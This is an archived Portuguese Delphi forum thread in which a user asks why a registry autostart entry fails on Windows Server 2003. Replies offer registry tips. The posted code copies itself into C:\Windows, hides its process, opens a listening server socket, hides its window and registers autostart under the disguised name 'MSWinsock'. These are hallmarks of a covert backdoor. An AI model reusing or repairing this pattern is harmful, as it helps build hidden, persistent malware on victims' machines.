Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

jcvilanova

Entrada no RegisterServiceProcess do Windows 2003

Recommended Posts

Galera,Tenho um aplicativo que inicia toda vez que o Windows é iniciado, porém, recentemente mudei meu sistema operacional, estou utilizando o Windows Server 2003, e pra minha surpresa, toda vez que compilo o programa dá erro. Não sei como criar uma entrada para o registro do Win 2003. Use o seguinte código para funcinar no Windows 98:Procedure Tform1.FormCreate(Sender... ConstLocal =’C:\Windows\’;Var Path, Nome :String;Reg Tregistry;BeginPath:= ExtractfilePath(Application.Exename);nome:= Extractfilename(Application.Exename);IF (Path<>Local) then begin if (CopyFile(Pchar(Application.Exename), Pchar(Local+Nome), False) =True) Then ExecutaPrograma(Local+nome) Else MessageBox(‘Handle, ‘Não foi possível executar a aplicação devido a erro interno do sistema”’, PChar(Nome), MB_ICONERRO+MB_+OK);Halt;End;RegisterserviceProcess(GetCurrentProcessID,1);ServerSocket.Active:=True;Application.onExcept:=AppException;Application.ShowMainForm:=False;{ AQUI EU FAÇO A ENTRADA NO SISTEMA...Reg:=TRegistry.Create;Reg.RootKey:=HKEY_LOCAL_MACHINE;Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False);Reg.WriteString(‘MSWinsock’, Application.Exename);Reg.CloseKey;Reg.FreeMas não ta funcionando. Dá sempre erro nas linhas :Reg.RootKey:=HKEY_LOCAL_MACHINE;Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False);Será que alguém poderia me dizer onde ta o erro...?Muito Obrigado a todos...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Qual mensagem de erro está ocorrendo?

 

eu estou usando esse código de acesso ao registro em um programa meu:

Registro := TRegistry.Create;  Registro.RootKey := HKEY_CURRENT_USER;  if not (registro.KeyExists('\Software\PSYWARE\PSYpad')) then	begin	  Registro.OpenKey('\Software\PSYWARE\PSYpad', true)´
Talvez se você mudar essa linha:

 

Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False);

 

para

 

Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);

 

Resolva....

 

 

....Mas preciso saber qual é mensagem de erro para ter certeza...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Se ainda estiver com o problema, dê uma olhada neste post, têm um exemplo se mexer no registro do windows.

 

E no caso dependendo da localização da chave, você precisa ter permições de admin para mexer...

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.